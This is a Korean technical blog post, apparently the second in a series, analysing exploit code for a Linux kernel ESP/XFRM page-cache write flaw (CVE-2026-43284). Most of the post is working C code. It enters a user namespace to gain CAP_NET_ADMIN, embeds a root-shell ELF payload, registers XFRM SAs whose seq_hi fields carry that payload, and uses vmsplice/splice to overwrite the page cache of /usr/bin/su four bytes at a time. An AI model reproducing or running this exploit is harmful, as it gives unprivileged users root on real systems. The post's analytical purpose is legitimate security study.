CVE-2026-43284_(2) ESP
1. 개요
본 포스팅에서는 CVE-2026-43284 익스플로잇 코드 분석을 목표로 한다. 앞서 언급했던 ESP 취약점을 사용하기 위해서는 다음 과정을 거쳐야 한다.
- 권한 획득 : XFRM SA를 등록할 수 있는 CAP_NET_ADMIN 권한을 획득해야 한다.
- write 값 준비 : 파일 페이지 캐시에 기록할 값을 4바이트 단위로 나눠서 준비한다.
- file page를 skb frag에 심기 : vmsplice()와 splice()를 이용하여 타겟 파일의 Page Cache page를 패킷의 frag 슬롯에 연결
- 취약점 트리거 : esp_input 함수에서 skip_cow로 점프하여 COW 없이 write 작업 수행
- 반복 : 한 번의 실행할 때마다 4바이트를 쓰므로 원하는 만큼 덮어쓸 때까지 반복 수행
2. 권한 획득 : CAP_NET_ADMIN
XFRM SA를 등록하려면 CAP_NET_ADMIN 권한이 필요하다. 일반 사용자는 이 권한을 가지고 있지 않기 때문에, 익스플로잇을 할 때 user namespace와 network namespace를 새로 생성하는 방법을 사용한다. Linux는 새로운 user namespace 안에서는 그 namespace의 root로 간주되므로 CAP_NET_ADMIN을 포함한 모든 권한을 가지게 된다.
unshare을 이용하여 네임스페이스를 생성하면, 해당 네임스페이스에 한해서 root로 인식된다. 이 경우 CAP_NET_ADMIN 권한을 부여받는다.
해당 기능 구현은 아래와 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static void setup_userns_netns(void)
{
uid_t real_uid = getuid();
gid_t real_gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
SLOG("unshare: %s", strerror(errno));
exit(1);
}
write_proc("/proc/self/setgroups", "deny");
char map[64];
snprintf(map, sizeof(map), "0 %u 1", real_uid);
write_proc("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1", real_gid);
write_proc("/proc/self/gid_map", map);
// loopback 인터페이스 활성화
int s = socket(AF_INET, SOCK_DGRAM, 0);
struct ifreq ifr;
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
ioctl(s, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);
close(s);
}
unshare(CLONE_NEWUSER | CLONE_NEWNET)을 호출하면 현재 프로세스가 새로운 user namespace와 network namespace 안으로 들어간다. 이후 /proc/self/uid_map에 0 {UID} 1을 써서 새로운 namespace 안의 uid 0이 실제 시스템의 일반 사용자 uid에 매핑되도록 설정한다. 이렇게 하면 namespace 안에서는 root처럼 행동할 수 있지만, 실제 시스템에서는 여전히 일반 사용자이다.
새로운 네트워크 네임스페이스에서는 loopback 인터페이스가 기본적으로 down 상태이므로 lo를 UP 상태로 올려준다. 익스플로잇 과정에서 사용할 패킷은 localhost(127.0.0.1)로 로컬 송신될 예정이므로, loopback 인터페이스가 활성화되어 잇어야 정상적으로 네트워크 스택을 통과할 수 있다.
3. write 값 준비 : XFRM SA 등록
권한을 획득한 뒤 공격자가 해야 할 일은 파일에 기록할 값을 커널에 미리 등록해두는 것이다. 이 익스플로잇의 경우, 공격 대상은 /usr/bin/su이다. /usr/bin/su는 setuid-root가 설정된 바이너리로, 이 파일의 Page Cache를 쉘코드로 교체하면 일반 사용자가 execve("/usr/bin/su")를 실행하는 것만으로도 root shell을 얻을 수 있다.
교체할 쉘코드는 아래와 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/*
* Code (from offset 0x78):
* 31 ff xor edi, edi
* 31 f6 xor esi, esi
* 31 c0 xor eax, eax
* b0 6a mov al, 0x6a ; setgid
* 0f 05 syscall
* b0 69 mov al, 0x69 ; setuid
* 0f 05 syscall
* b0 74 mov al, 0x74 ; setgroups
* 0f 05 syscall
* 6a 00 push 0 ; envp[1] = NULL
* 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm"
* 50 push rax ; envp[0]
* 48 89 e2 mov rdx, rsp ; rdx = envp
* 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh"
* 31 f6 xor esi, esi ; rsi = NULL (argv)
* 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve)
* 0f 05 syscall ; execve("/bin/sh",NULL,envp)
* "TERM=xterm\0" (offset 0xa5..0xaf)
* "/bin/sh\0" (offset 0xb0..0xb7)
*/
static const uint8_t shell_elf[PAYLOAD_LEN] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};
192바이트짜리 ELF 바이너리로, 해당 바이너리를 실행하면 setgid(0), setuid(0), setgroups(0, NULL)을 호출하여 권한을 root로 올린 뒤, execve("/bin/sh")로 쉘을 실행한다. 이때, 취약점 하나로 한 번에 쓸 수 있는 값은 4바이트이므로 192/4 = 48번의 패킷이 송신해야 한다. 48개 각 청크마다 별도의 XFRM SA가 필요하다.
XFRM SA 등록은 netlink 소켓을 통해 커널에 메시지를 보내는 방식으로 이루어진다. 각 SA는 고유한 SPI(0xDEADBE10 + i)를 가지며, XFRMA_REPLAY_SEN_VAL의 seq_hi 필드에 쉘코드의 각 청크를 4바이트 값으로 넣어야 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static int corrupt_su(void)
{
setup_userns_netns();
usleep(100 * 1000);
/* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the
* desired payload word in its seq_hi field. */
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
uint32_t spi = 0xDEADBE10 + i;
uint32_t seqhi =
((uint32_t)shell_elf[i*4 + 0] << 24) |
((uint32_t)shell_elf[i*4 + 1] << 16) |
((uint32_t)shell_elf[i*4 + 2] << 8) |
((uint32_t)shell_elf[i*4 + 3]);
if (add_xfrm_sa(spi, seqhi) < 0) {
SLOG("add_xfrm_sa #%d failed", i);
return -1;
}
}
SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4);
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
uint32_t spi = 0xDEADBE10 + i;
off_t off = PATCH_OFFSET + i * 4;
if (do_one_write(TARGET_PATH, off, spi) < 0) {
SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
return -1;
}
}
SLOG("wrote %d bytes to %s starting at 0x%x",
PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET);
return 0;
}
add_xfrm_sa()를 이용하여 SA를 등록한다. 여기서 중요한 것은 ESN 모드 활성화와 인증 키는 임의의 값으로 채워도 되는 것이다.
먼저, xs->flags = XFRM_STATE_ESN으로 ESN을 활성화해야한다. 이전 포스팅에서 언급했듯 crypto_authenc_esn_decrypt()가 호출되어야 scatterwalk_map_and_copy()의 write가 발생하기 때문이다. 인증키에 해당하는 HMAC 키와 AES 키는 0xAA나 0xBB의 값으로 채운다. 어차피 인증을 실패할 것이고, 본 실험의 목적인 write는 인증 검증 전에 발생하기 때문에 키 값은 중요하지 않다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi)
{
...
struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
xs->id.daddr.a4 = inet_addr("127.0.0.1");
xs->id.spi = htonl(spi);
xs->id.proto = IPPROTO_ESP;
xs->saddr.a4 = inet_addr("127.0.0.1");
xs->family = AF_INET;
xs->mode = XFRM_MODE_TRANSPORT;
xs->replay_window = 0;
xs->reqid = 0x1234;
xs->flags = XFRM_STATE_ESN;
xs->lft.soft_byte_limit = (uint64_t)-1;
xs->lft.hard_byte_limit = (uint64_t)-1;
xs->lft.soft_packet_limit = (uint64_t)-1;
xs->lft.hard_packet_limit = (uint64_t)-1;
xs->sel.family = AF_INET;
xs->sel.prefixlen_d = 32;
xs->sel.prefixlen_s = 32;
xs->sel.daddr.a4 = inet_addr("127.0.0.1");
xs->sel.saddr.a4 = inet_addr("127.0.0.1");
{
char alg_buf[sizeof(struct xfrm_algo_auth) + 32];
memset(alg_buf, 0, sizeof(alg_buf));
struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf;
strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);
aa->alg_key_len = 32 * 8;
aa->alg_trunc_len = 128;
memset(aa->alg_key, 0xAA, 32); // 임의의 HMAC 키
put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));
}
{
char alg_buf[sizeof(struct xfrm_algo) + 16];
memset(alg_buf, 0, sizeof(alg_buf));
struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;
strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);
ea->alg_key_len = 16 * 8;
memset(ea->alg_key, 0xBB, 16); // 임의의 AES 키
put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));
}
...
{
char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4];
memset(esn_buf, 0, sizeof(esn_buf));
struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;
esn->bmp_len = 1;
esn->oseq = 0;
esn->seq = REPLAY_SEQ;
esn->oseq_hi = 0;
esn->seq_hi = patch_seqhi; // 파일에 기록될 실제 4바이트 값
esn->replay_window = 32;
put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
}
...
}
또한, esn->seq_hi = patch_seqhi;를 이용하여 파일에 기록할 실제 4바이트 값을 ESP 시퀀스 번호의 상위 32비트로 저장한다. 나중에 decrypt 과정에서 esp_input_set_header()가 이 값을 패킷 헤더에 삽입하고, 그것이 결국 scatterwalk_map_and_copy()를 통해 Page 캐시에 기록된다.
4. file page를 skb frag에 심기
XFRM SA 등록이 되면 실제 트리거 단계로 넘어간다. do_one_write()가 트리거 기능을 수행한다. 이 함수는 /usr/bin/su의 Page Cache 페이지를 네트워크 패킷의 frag 슬롯에 심어서 esp_input이 그 페이지 위에서 직접 decrypt를 수행하도록 유도하는 것이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
static int do_one_write(const char *path, off_t offset, uint32_t spi)
{
// ESP-in-UDP 수신 소켓 설정
int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
if (sk_recv < 0) return -1;
int one = 1;
setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
struct sockaddr_in sa_d = {
.sin_family = AF_INET,
.sin_port = htons(ENC_PORT),
.sin_addr = { inet_addr("127.0.0.1") },
};
// 송신 소켓
if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
close(sk_recv); return -1;
}
int encap = UDP_ENCAP_ESPINUDP;
if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
close(sk_recv); return -1;
}
int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
if (sk_send < 0) { close(sk_recv); return -1; }
if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
close(sk_send); close(sk_recv); return -1;
}
// 타겟 파일 열기
int file_fd = open(path, O_RDONLY);
if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }
int pfd[2];
if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }
// [1] vmsplice() : 가짜 ESP 헤더를 pipe 슬롯 0에 등록
uint8_t hdr[24];
*(uint32_t*)(hdr + 0) = htonl(spi); // SPI
*(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); // seq
memset(hdr + 8, 0xCC, 16); // IV
struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {
close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
}
// [2] splice() : 파일의 Page Cache page를 pipe 슬롯 1에 연결
off_t off = offset;
ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
if (s != 16) {
close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
}
// [3] splice : pipe -> socket
s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
/* still proceed regardless of splice rc — kernel may have already
* decrypted the page in the time between splice and recv */
usleep(150 * 1000);
close(file_fd); close(pfd[0]); close(pfd[1]);
close(sk_send); close(sk_recv);
return s == 40 ? 0 : -1;
}
이 코드에서는 수신 소켓에 UDP_ENCAP_ESPINUDP를 설정하는 것이 핵심이다. 이 옵션이 있으면 커널을 포트 4500으로 들어오는 UDP 패킷을 일반 UDP로 처리하지 않고, ESP 패킷으로 인식하여 xfrm4_udp_encap_rcv 경로로 라우팅한다. 즉, 패킷은 xfrm_input -> esp_input으로 이어진다.
[1]단계에서 vmsplice로 가짜 ESP 헤더 24바이트를 pipe에 등록한다. 이 헤더에서는 이번 청크에 해당하는 SPI 번호가 들어있어서, 커널이 수신 후 어떤 SA를 사용할지 식별하는지 쓰인다.
[2]단계에서 splice로 /usr/bin/su의 offset i*4 위치의 16바이트를 pipe 다음 슬롯에 연결한다. 이 시점에서 Page Cache page가 복사 없이 pipe buffer에 참조로 연결된다.
[3]단계에서 pipe 전체를 소켓으로 전송한다. 이때 커널이 자동으로 MSG_SPLICE_PAGES를 적용하므로, pipe 슬롯 1에 있던 파일인 Page Cache page가 skb의 frags[0]으로 그대로 삽입된다. 결과적으로 송신되는 skb의 구조는 다음과 같다.
1
2
skb->head (linear 영역): 가짜 ESP 헤더 + IV (24바이트)
skb->frags[0]: /usr/bin/su Page Cache page (오프셋 i*4, 16바이트)
Reference
리눅스 커널에 구멍이 뚫렸다, 지금은 새 소프트웨어를 설치하지 마라
Linux 루트 권한 획득 취약점 Dirty Frag 분석(CVE-2026-43284+CVE-2026-43500)

